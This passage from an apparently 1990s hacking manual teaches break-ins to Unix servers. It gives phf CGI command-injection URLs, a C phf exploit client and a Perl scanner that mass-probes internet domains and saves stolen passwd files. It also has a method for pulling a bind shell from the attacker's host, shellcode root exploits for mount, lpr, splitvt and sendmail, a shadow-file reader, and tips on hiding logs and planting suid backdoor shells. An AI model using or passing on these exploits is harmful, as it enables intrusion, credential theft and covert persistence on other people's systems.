- H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
-
- It returns:
-
- QUERY RESULTS
-
-
-
- /usr/local/bin/ph -m alias=x id
-
- uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
-
-
- So here we see it is running under a user (nobody), so we can be a user named
- nobody on this system. We are not root, but this will have to do ;)
-
- Notice the command line:
-
- http://afp.org/cgi-bin/phf/?Qalias=x%0aid
-
- The id was the command to the server to give us the id of the user. Some times
- you will have to give the full path to the file you want to run, in this case
- it would have been: http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id
-
- Notice that after the %0a you start your command line. If you need to enter
- a space you would put a %20 instead of the space. Here would be some sample
- command lines. I will start them with %0a
-
- Cat the passwd file
- %0a/bin/cat%20/etc/passwd
-
- Get a long directory of the /etc directory of all files starting with pass
- %0als%20-al%20/etc/pass*
-
- backup the passwd file if you have root access to httpd to passwd.my
- %0acp%20/etc/passwd%20/etc/passwd.my
-
- Change the root passwd (if the server will let you (most times it works)
- %0apasswd%20root
-
- (the above should let you login without a password, make sure to copy the
- passwd.my file over the passwd file right away, and then delete the backup,
- then make yourself an suid bash shell somewhere and rename it, sniff to get
- your passwords)
-
- If you know how to type commands in unix and don't forget that you need to
- use %20 in the place of spaces, you will not have any problems!
-
- Ok lets cat the passwd file on this box ;)
-
- URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd
-
- We get:
-
-
- QUERY RESULTS
-
-
-
- /usr/local/bin/ph -m alias=x cat /etc/passwd
-
- root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
- bin:*:1:1:bin:/bin:
- daemon:*:2:2:daemon:/sbin:
- adm:*:3:4:adm:/var/adm:
- lp:*:4:7:lp:/var/spool/lpd:
- sync:*:5:0:sync:/sbin:/bin/sync
- shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
- halt:*:7:0:halt:/sbin:/sbin/halt
- mail:*:8:12:mail:/var/spool/mail:
- news:*:9:13:news:/usr/lib/news:
- uucp:*:10:14:uucp:/var/spool/uucppublic:
- operator:*:11:0:operator:/root:/bin/bash
- games:*:12:100:games:/usr/games:
- man:*:13:15:man:/usr/man:
- postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
- nobody:*:-2:100:nobody:/dev/null:
- ftp:*:404:1::/home/ftp:/bin/bash
- guest:*:405:100:guest:/dev/null:/dev/null
- bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
- web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
- mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
-
- A small passwd file <g>rin
-
- If you want to save this to a file in your local directory, just choose the
- print option in the text browser and you will get an option to save the file
- in your home directory.
-
- Lets learn something here:
-
- mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
- 1 :2 :3 :4 :5 :6 :7
-
- 1=username 2=encrypted password 3=user number 4=groop id 5=real name
- 6=home directory 7=shell
-
- Ok, lets say you do not want to keep using the WWW browser, here is a script
- you can compile to just type regular commands from your shell.
-
- phf.c
- ------ cut here----
-
- /* Some small changes for efficiency by snocrash. */
- /*
- * cgi-bin phf exploit by loxsmith [xf]
- *
- * I wrote this in C because not every system is going to have lynx. Also,
- * this saves the time it usually takes to remember the syntatical format
- * of the exploit. Because of the host lookup mess, this will take
- * approximately 12 seconds to execute with average network load. Be patient.
- *
- */
-
- #include <stdio.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <errno.h>
-
- int main(argc, argv)
- int argc;
- char **argv;
- {
- int i = 0, s, port, bytes = 128;
- char exploit[0xff], buffer[128], hostname[256], *command, j[2];
- struct sockaddr_in sin;
- struct hostent *he;
-
- if (argc != 3 && argc != 4) {
- fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
- exit(1);
- }
-
- command = (char *)malloc(strlen(argv[1]) * 2);
-
- while (argv[1][i] != '\0') {
- if (argv[1][i] == 32) strcat(command, "%20"); else {
- sprintf(j, "%c", argv[1][i]);
- strcat(command, j);
- }
- ++i;
- }
-
- strcpy(hostname, argv[2]);
- if (argc == 4) port = atoi(argv[3]); else port = 80;
-
- if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
- he = gethostbyname(hostname);
- if (he) {
- sin.sin_family = he->h_addrtype;
- memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
- he->h_length);
- } else {
- fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
- exit(1);
- }
- }
- sin.sin_family = AF_INET;
- sin.sin_port = htons((u_short) port);
-
- if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
- fprintf(stderr, "%s: could not get socket\n", argv[0]);
- exit(1);
- }
-
- if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
- close(s);
- fprintf(stderr, "%s: could not establish connection\n", argv[0]);
- exit(1);
- }
-
- sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
- free(command);
- write(s, exploit, strlen(exploit));
- while(bytes == 128) {
- bytes = read(s, buffer, 128);
- fprintf(stdout, buffer);
- }
- close(s);
- }
-
- -------- cut here
-
- Here is how you use it:
-
- bash% phf id xxx.org
-
- ------
- <H1>Query Results</H1>
- <P>
- /usr/local/bin/ph -m alias=X
- id
- <PRE>
- uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
- </GET /cgi-bin/phf/?Qalias=X%0aid
- ------
-
- The above was our response, remember to use the %codes after your command.
- To cat the password file using this program you would type:
-
- phf cat%20/etc/passwd hostname.xxx
-
- Yet Another way to use phf was written by Quantumg on his web page, this is
- new and just thought of, so I was sure to add this right into this manual
- for you.
-
- Here is the text:
-
-
- New QG Phf Attack MO
- --------------------
-
- yerp.. I know it's a long time since phf has been considered a viable
- attack but you'd be surprised just how many stupid linux operators there
- are out there..
-
- first.. a little background.
-
- Phf is a cgi-bin executable found on apache web servers. It is sploitable
- and the result is you can execute commands on the web server as whoever
- they're running httpd as, usually nobody but sometimes as root. To sploit
- it is simply a matter of connecting to the web server and giving the
- query:
-
- GET /cgi-bin/phf/?Qalias=X%0a
-
- followed by the command you wish to execute with %20 used for spaces. You
- can do no piping, quotes, shell replacements, etc.
-
- ok.. so on with the attack. What we are going to do is go and look for a
- linux box (I usually telnet to the box to see the issue.net) which has the
- phf bug. I, like a whole lot of other people, use the program phf
- loxsmith to exploit the phf bug. All it does is connect to the host
- specified in argv[2] and dump the query with argv[1] as the command. It
- is used as such:
-
- phf id www.host.to.hack
-
- where id is the command you want to execute. This is the first thing I'd
- do. Not only does it tell me if the box is sploitable, it also tells me
- what they are running httpd as. So, assuming we get back a nice response,
- we have a box to hack. The first problem is getting stuff onto the box to
- execute. It's not much of a problem. You can 1 check for writable ftp
- directory's or 2, and my personal favorite, use rcp. To use rcp you need
- to set up a few things on your machine (or better yet, a machine that you
- hacked earlier). The first of these things is an account that you can use
- for the transfer. Select something simple and unmemoriable. I use the
- username "test". Next you need to put the name of the host you are
- hacking (www.host.to.hack) in your /etc/hosts.equiv. Then you need to
- make sure you have a "shell" line in your /etc/inetd.conf and that you
- have restarted inetd to read this line. Finally you need to create a
- .rhosts file in the test's homedir that has the name of the host you're
- hacking followed by the username that httpd is running as.
-
- /etc/hosts.equiv:
- www.host.to.hack
-
- /etc/inetd.conf:
- shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L
-
- ~test/.rhosts:
- www.host.to.hack nobody
-
- ok.. so once you have all that set up you can get things onto the remote
- host.
-
- What I used to do was transfer little hacks across that had been heavily
- modified to work whilst being executed by phf. It was not a pleasant
- affair, nor very effective. Now we have a solution. What we send across
- is a modified in.telnetd. It has been modified to start up in "debug"
- mode which makes it bind to a port (9999) and execute /bin/sh instead of
- /bin/login. It also forks before executing the shell which means it will
- sit on port 9999 and accept as many connections as you want.
-
- So, to get this onto the remote host, all we have to do is put it in
- test's homedir (make sure it's readable) and do:
-
- phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack
-
- in your local logs you will see a connection attempt to in.rshd and the
- command it executes (something like 'rcp -f bindwarez').. after the phf
- finishes bindwarez will be in the /tmp on the remote machine. You can now
- execute it and telnet to port 9999.
-
- If the web site was stupid enough to be running httpd as root you will now
- want to secure it by installing an in.telnetd trojan and cleaning up the
- logs. However, more likely, you will only have a nobody shell and have to
- hack root with some other sploit. I usually find this no problem because
- the admin has taken it as granted that no-one will ever have a shell on
- their www box and thus there's no need to secure it - which they're
- obviously not very good at if they still have sploitable phf.
-
- I cant stress the importance of cleaning out the logs tho. Your address,
- the one in the rcp command you sent, is right there for the admin to see.
- They dont even have to dig. These logs are usually in
- /usr/local/etc/httpd/logs and sometimes in /var/lib/httpd/logs. The best
- way to find it is to try these locations and then, if you still don't find
- it, do: find / -name cgi-bin. That'll do it. Also don't forget to kill
- the bindwarez processes and remove the /tmp/bindwarez.
-
- This is a really kewl attack.. it solves a lot of problems which makes phf
- so annoying.
-
- L8s
-
- QuantumG
-
-
- Another way to use phf would be to use the perl script a few scripts above
- called getdomain.pl to rip host names out of the domain files on
- rs.internic.net, after this is done you can 'probe' every domain on the net
- using geturl.pl.
-
- Here is the script:
-
- geturl.pl
- --------- cut here
-
- #!/usr/bin/perl -w
- #
- # geturl by Nfin8 / Invisible Evil
- # Questions to: /msg i-e or /msg i^e
- #
- # Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/usr/bin/id
- # Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
- # IF result of first command returns an "id=" then check for user. If user
- # is not root then execute the 2nd form.
-
- # Assign null list to @URLs which will be added to later.
- my(@URLs)=();
- my($program) = "lynx -dump";
-
- # Pull off filename from commandline. If it isn't defined, then assign default.
- my($URLfilename) = shift;
- $URLfilename = "urls" if !defined($URLfilename);
-
- # Do checking on input.
- die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);
-
- # Open and read contents of URL file into @URL by line.
- open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
- @URLs = <FILE>;
- close(FILE);
-
- # Open output file.
- open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");
-
- my($url)="";
- foreach $url (@URLs) {
- print ("Now checking: $url");
- chomp($url);
- $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`;
- print OUTFILE ("\n============ $url ============\n");
- foreach (split(/\n/, $result)) {
- print OUTFILE ("$_\n");
- }
- if ($result =~ m/id=/i) {
- if ($result =~ m/root/i) {
- print ("Logging root response.\n");
- } else {
- print ("Got ID response, getting /etc/passwd...");
- $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`;
-
- # Output results to file named <domain>.passwd;
- local($domainfilename)="";
- $domainfilename = $url;
- if (open(PASSWDFILE, ">${domainfilename}.passwd")) {
- print PASSWDFILE ("\n");
- foreach (split(/\n/, $result)) {
- print PASSWDFILE ("$_\n");
- }
- close(PASSWDFILE);
- print ("Done! [$domainfilename].\n");
- } else {
- print ("FAILED! [$domainfilename].\n");
- }
- }
- }
- }
-
- # We are done. Close the output file and end the program.
- close (OUTFILE);
-
-
- 0;
- ------------- cut here
-
- Ok this is easy, if you name your domain file urls, you are all set to go.
- Just type geturl.pl after chmod +x on the file.
-
- Here are my doc's for the file:
-
- This handy tool is easy to use and will get you some root access and
- many passwd files from different domains.
-
- geturl.pl will try and log results for every domain on the internet. You
- choose the type: .COM .EDU .ORG .MIL .GOV (OR) you can supply a list of
- IP addresses to be checked. If finds a root access account it
- will simply log uid=root in the result file and go on to the next domain.
- If PHF Probe finds non-root access it will snag the passwd file for you and
- save it in the current directory in the (domainname.???.passwd) format.
-
- Here are the short doc's and how it works. Any questions /msg i-e or i^e
-
- ftp to ftp.rs.internic.net
-
- in the domain directory you will find:
-
- com.zone.gz
- edu.zone.gz
- gov.zone.gz
- mil.zone.gz
- net.zone.gz
- org.zone.gz
-
- download these files and run getdomain.pl on the domains you want to target
- first, in this manor: "perl getdomain.pl com.zone com >com.all"
-
- What this will do is rip all of the .COM domains and put them into a file
- called com.all.
-
- If you wanted to do all of the .EDU addresses you would type:
-
- perl getdomain.pl edu.zone edu >edu.all
-
- Now you will have a list to use with (geturl.pl) called edu.all
-
- To use this list just type:
-
- geturl.pl <filename>
-
- filename=edu.all or com.all and leave out the <>'s
- if you name your domain file 'urls' it does not require <filename>
-
- results will log into a file name of: GetURLResults in the current directory.
-
- 1. geturl.pl will search using lynx (make sure it is in your path)
-
- 2. if geturl finds it has root access to httpd on a url it will just log
- root for that domain in the result file. If geturl finds it is not root,
- but still has access to the domain using phf it will snatch the domain
- passwd file and save it in the current directory under fulldomainname.passwd
-
- 3. if you like you can just give a list of ip addresses in the feed file
-
- 4. i use os/2 with lynx and perl ported to the hpfs so i have no problems
- with the long file names. i have tested it under unix and it works good
- so you should have no problems running this in a unix shell.
-
- What you need:
-
- 1. Perl in the path
- 2. Lynx in the path
- 3. 256 char filenames ie: (unix or os/2 hpfs)
- 4. The files included here
- 5. Internic's domain files from their ftp or just make your own list or
- urls or IP's and name the file 'urls' and type: geturl.pl
-
- Caution:
-
- It would be best if you paid cash for an internet account in your area under
- another name or used a hacked account to get all of your results, then used
- another safe account to start your work on the results. BUT I don't need to
- tell you this right? I take no blame for these files, they are provided for
- you to use to check security on domains ;)
-
-
- getdomain.pl: to rip .ORG .COM .EDU .MIL .GOV Internic domain files
- geturl.pl: to check and log the results of each domain
- GetURLResults: The file that geturl makes as its log file
-
- Here is one more thought:
-
- If you can read the /var/adm/messages file you can get some user passwords
- out of there lotz of times! I have even got ROOT passwords from there!
-
- Wow many times have you been in a hurry to login? You type the password
- at the Login: his is easy to do on one of those days that nothing seems to
- be going right. You failed the login twice, the system is running slow, and it
- just happens!
-
- Login: you hit enter
- Password: you think this is wanting the login name so you type your name
- Login: you type your password
-
- In the messages file it looks like this:
-
- Login: yourpassword
- Password ****** They don't give it, only the login name, but ooops, you
- typed your password, and if we have access to read the messages file,
- we have a good password to put in crackerjack and run it. If on a small
- system, no prob ... lets hope it's root ;)
-
- Here is a script to make things easy!
-
-
- FOR QUANTUM'S BINDWAREZ FILE: You will find it at the end of this paper
- in the appendix uuencoded.
-
- ------------ cut here
-
- #!/bin/sh
- # Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
- # /var/log/messages is world readable. If a user types in his password at
- # the login prompt, it may get logged to /var/log/messages.
- #
- # I could swear this topic has been beaten to death, but I still see this
- # problem on every linux box I have access to.
- #
- # Dave G.
- # 12/06/96
- # <daveg@escape.com>
- # http://www.escape.com/~daveg
-
- echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$
-
- grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$
-
- if [ ! -e ./scrack ]
- then
- echo "Creating scrack.c"
- cat << ! > scrack.c
- #include <stdio.h>
- #include <unistd.h>
- #include <pwd.h>
- #include <sys/types.h>
- #define get_salt( d, s ) strncpy( d, s, 2 )
- void
- main(argc,argv)
- int argc;
- char **argv;
- {
- struct passwd *pwd;
- FILE *fp;
- char buff[80], salt[3], *encrypted_string;
-
- if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
- {
- fprintf( stderr, "Couldnt find dict file\n" );
- exit(1);
- }
- while ( fgets( buff, 80, fp ) != NULL )
- {
- setpwent();
- buff[strlen(buff)-1]='\0';
- while ( ( pwd = getpwent() ) != NULL )
- {
- if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
- ( strlen( (*pwd).pw_passwd ) == 13 ) )
- {
- get_salt(salt, (*pwd).pw_passwd );
-
- encrypted_string = crypt( buff, salt );
- if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
- {
- fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
- fflush(stdout);
- }
- }
- }
- }
- }
- !
- echo "Creating scrack"
- cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
- fi
-
- ./scrack /tmp/messages.dict.$$
-
- echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.
-
- ------ cut here
-
- -----------------------
- Section 3B
- Newbe's
- -----------------------
-
- Yup, again, just another place to get password files. Just follow the guide
- lines in section 2B. Use your sly ideas and get out there and make some
- lame friends ;)
-
- Remember you could have been a lammer before you read this manual <G>rin
-
- -----------------------------
- Section 3C
- Getting shadow passwd files
- -----------------------------
-
- What is a shadow password file?
-
- Lets just use the passwd file above to show you what it would look like to you
- if you cat it.
-
- root:x:0:0:root:/root:/bin/bash
- bin:x:1:1:bin:/bin:
- daemon:x:2:2:daemon:/sbin:
- adm:x:3:4:adm:/var/adm:
- lp:x:4:7:lp:/var/spool/lpd:
- sync:x:5:0:sync:/sbin:/bin/sync
- shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
- halt:x:7:0:halt:/sbin:/sbin/halt
- mail:x:8:12:mail:/var/spool/mail:
- news:x:9:13:news:/usr/lib/news:
- uucp:x:10:14:uucp:/var/spool/uucppublic:
- operator:x:11:0:operator:/root:/bin/bash
- games:x:12:100:games:/usr/games:
- man:x:13:15:man:/usr/man:
- postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
- nobody:x:-2:100:nobody:/dev/null:
- ftp:x:404:1::/home/ftp:/bin/bash
- guest:x:405:100:guest:/dev/null:/dev/null
- bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
- web:x:502:100:Web Master:/home/web:/bin/bash
- mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash
-
- Something missing? Yup, the encrypted passwords. If you get root access the
- encrypted passwords are in /etc/shadow. Some admin's will hide the shadow file
- in some weird directory somewhere, but most of the time you will find it right
- in /etc. Other shadow programs might put it in a master.passwd file. But if
- you get root just have a good look around.
-
- Lets say you have an account on the machine and just can't get root access.
-
- Not a problem if they are using libc 5.4.7, at this time most still are ;)
- Also one of these files have to have suid perm's (no prob):
-
- ping, traceroute, rlogin, or, ssh
-
- 1. Type bash or sh to start a bash shell
- 2. Type: export RESOLV_HOST_CONF=/etc/shadow
- 3. Type one of the file names above with asdf, like this:
-
- ping asdf
-
- It should cat the passwd shadow file for you if it works.
- I seem to find it working on most of the systems i am going on these days.
-
- Note: you can replace /etc/shadow with any root owned file you want to read.
-
- Here is a quick script you can run on any file you want to make it easy:
-
- rcb.c
- -------- cut here
-
- /* RCB Phraser - therapy in '96
- * Limits: Linux only, no binary files.
- * little personal message to the world: FUCK CENSORSHIP!
- */
-
- #include <stdio.h>
-
- void getjunk(const char *filetocat)
- { setenv("RESOLV_HOST_CONF",filetocat,1);
- system("ping xy 1> /dev/null 2> phrasing");
- unsetenv("RESOLV_HOST_CONF");
- }
-
- void main(argc,argv)
- int argc; char **argv;
- { char buffer[200];
- char *gag;
- FILE *devel;
-
- if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
- { printf("RCB Phraser - junked by THERAPY\n\n");
- printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
- exit(1);
- }
- getjunk(argv[1]);
- gag=buffer;
- gag+=10;
- devel=fopen("phrasing","rb");
- while(!feof(devel))
- { fgets(buffer,sizeof(buffer),devel);
- if(strlen(buffer)>24)
- { strcpy(buffer+strlen(buffer)-24,"\n");
- fputs(gag,stdout);
- }
- }
- fclose(devel);
- remove("phrasing");
- }
-
- -------------- cut here
-
- command line : rcb /etc/shadow or any other file on the system you
- can't read ;)
-
- --------------------
- Section 3D
- Getting /etc/hosts
- --------------------
-
- Just a precaution, sometimes you will need to know what other systems
- are in the hosts file, or what are all of the ip addresses or different domains
- on the system. Make sure to cat the /etc/hosts file for more information
- you might need later.
-
- --------------------------
- Chapter IV
- Getting the root account
- --------------------------
- Like I said before all you need is one account in most cases, if you cannot get
- root on the system you might want to trade it off to some irc junkie that
- just wants to load a bot, for some other account or info that can help you in
- your hacking quest. There will be enough information here so that if you can't
- get root access, their system is well kept and probably will be kept up in the
- future. You can always lay the account on the side, put the info in some kind
- of log file with some good notes so that you can come back at a later time,
- like right when a new exploit comes out ;)
-
- Try to stay out of the system until that time so that you do not risk loosing
- the account. Remember that when you login to an account and can't get root
- you will not be able to clean the logs, and the next time the user logs in he
- might see a message that says: last login from xxx.com time:0:00 date:xx/xx/xx
-
- ------------
- Section 4A
- Bugs
- ------------
-
- There are many bugs out there in different programs that you can use to get
- root. It might be a game installed on the system, or even the sendmail
- program. If they do not update their programs on a regular basis, you can
- be sure you will be able to get in now, and if not, soon to come.
-
- I will be sure to provide the main exploits and bugs here and other less
- used below in the appendix section. I will make sure here to give you detailed
- english terms so that you can exploit root on the system. But please be sure
- to read the sections below, and this manual entirely before proceeding, to be
- sure you get started in the right way and not blow you chances of having a
- long stay on the system.
-
- ------------
- Section 4B
- Exploits
- ------------
-
- umount/mount exploit
-
- Look in the /bin directory for a file called umount (or mount),
- if you do not find it there do a search for the file like this:
-
- find / -name umount -print -xdev
-
- (you can look for any other file name the same way)
-
- Go to the directory where the file is and do: ls -al um*
-
- If the file has suid perm's you can probably get root.
-
- SUID perm's has the rws for the owner of the file which is root. What you are
- looking for is the (s)
-
- Look here:
-
- victim:/bin# ls -al um*
- -rwsr-sr-x 1 root 8888 Mar 21 1995 umount
- victim:/bin#
-
- This machine we can get root by a compile on the file below:
-
- umount.c
- ------ cut here
-
- /* sno.c : Linux realpath exploit
- * Syntax: ./sno N
- * mount $WOOT
- * OR umount $WOOT
- * N is some number which seems to differ between 4 & 8, if your number is
- * too big, you will get a mount error, if it is too small, it will seg
- * fault. Figure it out. (Sometimes N=0 for mount)
- * If you use mount, first thing to do once you get the root shell is rm
- * /etc/mtab~, if this file exists you can't root with mount until it is
- * removed.
- *
- *
- * -ReDragon
- */
- #define SIZE 1024
-
- long get_esp(void)
- {
- __asm__("movl %esp,%eax\n");
- }
-
- main(int argc, char **argv)
- {
- char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
- int a,r;
- char *ptr;
- long *addr_ptr;
- char execshell[] =
- "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
- "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
- "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
- char *exec_ptr = execshell;
-
- r=atoi(argv[1]);
- ptr = env;
- memcpy(ptr,"WOOT=",5); /* set environment variable to use */
- ptr += 5;
-
- for(a=0;a<SIZE+4-strlen(execshell)-r;a++) /* pad front with NOPs */
- *(ptr++) = 0x90;
- while (*exec_ptr)
- *(ptr++) = *(exec_ptr++);
- addr_ptr = (long *)ptr;
- *(addr_ptr++) = get_esp()+1139; /* 0xbffffc01 */
-
- ptr = (char *) addr_ptr;
- *ptr = 0; /* must end with null byte to terminate string */
- putenv(env);
- system("/bin/mount $WOOT");
- }
-
- ----------- cut here
-
- **********************************
- To compile the file on the victims machine type gcc umount.c (or what ever
- name you called it) -o um
-
- This will make a file called um that you can exec. Sometimes you will need
- to put a ./ in front of the file like this: ./um
-
- With this exploit you might also have to give it a number like:
- ./um 0 (or) ./um 4 ....alltheway up to 8... like this again ./um 8
-
-
- *************************************
- If you fail here you might want to try lpr. Look in the /usr/bin for lpr and
- see if it is SUID, if it is lpr should work if it is up on the system.
-
- ls -l lpr
-
- Ok it had suid perm's? Use this script
-
- *************************************
- lpr.linux.c
- ------------- cut here
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-
- #define DEFAULT_OFFSET 50
- #define BUFFER_SIZE 1023
-
- long get_esp(void)
- {
- __asm__("movl %esp,%eax\n");
- }
-
- void main()
- {
- char *buff = NULL;
- unsigned long *addr_ptr = NULL;
- char *ptr = NULL;
-
- u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
- "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
- "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
- "\xd7\xff\xff\xff/bin/sh";
- int i;
-
- buff = malloc(4096);
- if(!buff)
- {
- printf("can't allocate memory\n");
- exit(0);
- }
- ptr = buff;
- memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
- ptr += BUFFER_SIZE-strlen(execshell);
- for(i=0;i < strlen(execshell);i++)
- *(ptr++) = execshell[i];
- addr_ptr = (long *)ptr;
- for(i=0;i<2;i++)
- *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
- ptr = (char *)addr_ptr;
- *ptr = 0;
- execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
- }
- ---------- cut here
-
- ***************************
- Here is the BSD version
- ***************************
-
- lpr.bsd.c
- --------------------------------------------------------- cut here
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-
- #define DEFAULT_OFFSET 50
- #define BUFFER_SIZE 1023
-
- long get_esp(void)
- {
- __asm__("movl %esp,%eax\n");
- }
-
- void main()
- {
- char *buff = NULL;
- unsigned long *addr_ptr = NULL;
- char *ptr = NULL;
-
- char execshell[] =
- "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
- "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
- "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
- "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
-
- int i;
-
- buff = malloc(4096);
- if(!buff)
- {
- printf("can't allocate memory\n");
- exit(0);
- }
- ptr = buff;
- memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
- ptr += BUFFER_SIZE-strlen(execshell);
- for(i=0;i < strlen(execshell);i++)
- *(ptr++) = execshell[i];
- addr_ptr = (long *)ptr;
- for(i=0;i<2;i++)
- *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
- ptr = (char *)addr_ptr;
- *ptr = 0;
- execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
- }
- --------- cut here
-
- Now just compile it and chmod it +x, and run it.
-
- Watch this one on the group file owner. Any file you copy will have
- group owner as lp, make sure you chgrp root filename on any file you
- write. Always be watching the user groups with ls -l and if you changed
- any change them back like this:
-
- chgrp groupname filename
-
- It is a good idea to use this exploit ONLY to get the root access, then
- just copy bash or sh to another file name on the system somewhere and make
- it root root, suid: Group owner and File owner root, then chmod it +s
-
- This will give you root access in the future as gid and uid root, without using
- the lp group. Make sure you name it something that looks like it should be
- running as a root process somewhere ;)
-
- *****************
- Here is another that is still around after a while, look for SUID perm's
- on a file /usr/bin/splitvt
-
- If it has suid perm's use this file below, but be sure to read the directions
- after the exploit:
- ****************************************
- sp.c
- -------------------------------------------- cut here
- /*
- * Avalon Security Research
- * Release 1.3
- * (splitvt)
- *
- * Affected Program: splitvt(1)
- *
- * Affected Operating Systems: Linux 2-3.X
- *
- * Exploitation Result: Local users can obtain superuser privileges.
- *
- * Bug Synopsis: A stack overflow exists via user defined unbounds checked
- * user supplied data sent to a sprintf().
- *
- * Syntax:
- * crimson~$ cc -o sp sp.c
- * crimson~$ sp
- * bash$ sp
- * bash$ splitvt
- * bash# whoami
- * root
- *
- * Credit: Full credit for this bug (both the research and the code)
- * goes to Dave G. & Vic M. Any questions should be directed to
- * mcpheea@cadvision.com .
- *
- * ----------------------------------------------------------------------------
- */
-
-
- long get_esp(void)
- {
- __asm__("movl %esp,%eax\n");
- }
- main()
- {
- char eggplant[2048];
- int a;
- char *egg;
- long *egg2;
- char realegg[] =
- "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
- "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
- "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
- char *eggie = realegg;
-
- egg = eggplant;
-
- *(egg++) = 'H';
- *(egg++) = 'O';
- *(egg++) = 'M';
- *(egg++) = 'E';
- *(egg++) = '=';
-
- egg2 = (long *)egg;
-
- for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
-
- egg=(char *)egg2;
-
- for (a=0;a<0x40;a++) *(egg++) = 0x90;
-
- while (*eggie)
- *(egg++) = *(eggie++);
- *egg = 0; /* terminate eggplant! */
-
- putenv(eggplant);
-
- system("/bin/bash");
- }
-
- -------------- cut here
-
- Ok this is how splitvt works:
-
- 1. Compile the file
- 2. Run the sp file
- 3. Run splitvt
-
- Before you run the file: whoami {press enter}
- username
- After you run the exploit: whoami
- root
-
- *******************************************************
-
- Now if all of these have not got you root, try sm.sh. This is a sendmail
- bug that works with 8.73 to 8.83 (maybe some others)
-
- Here is the script:
-
- sm.sh
- ---------- cut here
- echo 'main() '>>smtpd.c
- echo '{ '>>smtpd.c
- echo ' setuid(0); setgid(0); '>>smtpd.c
- echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c
- echo '} '>>smtpd.c
- echo 'main() '>>leshka.c
- echo '{ '>>leshka.c
- echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c
- echo '} '>>leshka.c
-
- cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
- ./leshka
